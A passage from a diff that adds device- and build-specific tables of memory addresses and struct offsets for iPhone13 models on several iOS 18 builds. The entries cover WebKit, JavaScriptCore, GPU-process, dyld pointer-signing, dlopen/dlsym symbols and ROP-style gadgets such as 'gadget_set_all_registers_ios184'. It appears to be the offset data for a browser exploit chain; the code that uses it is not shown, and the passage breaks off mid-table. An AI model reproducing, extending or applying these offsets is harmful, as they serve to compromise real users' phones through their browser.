rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + 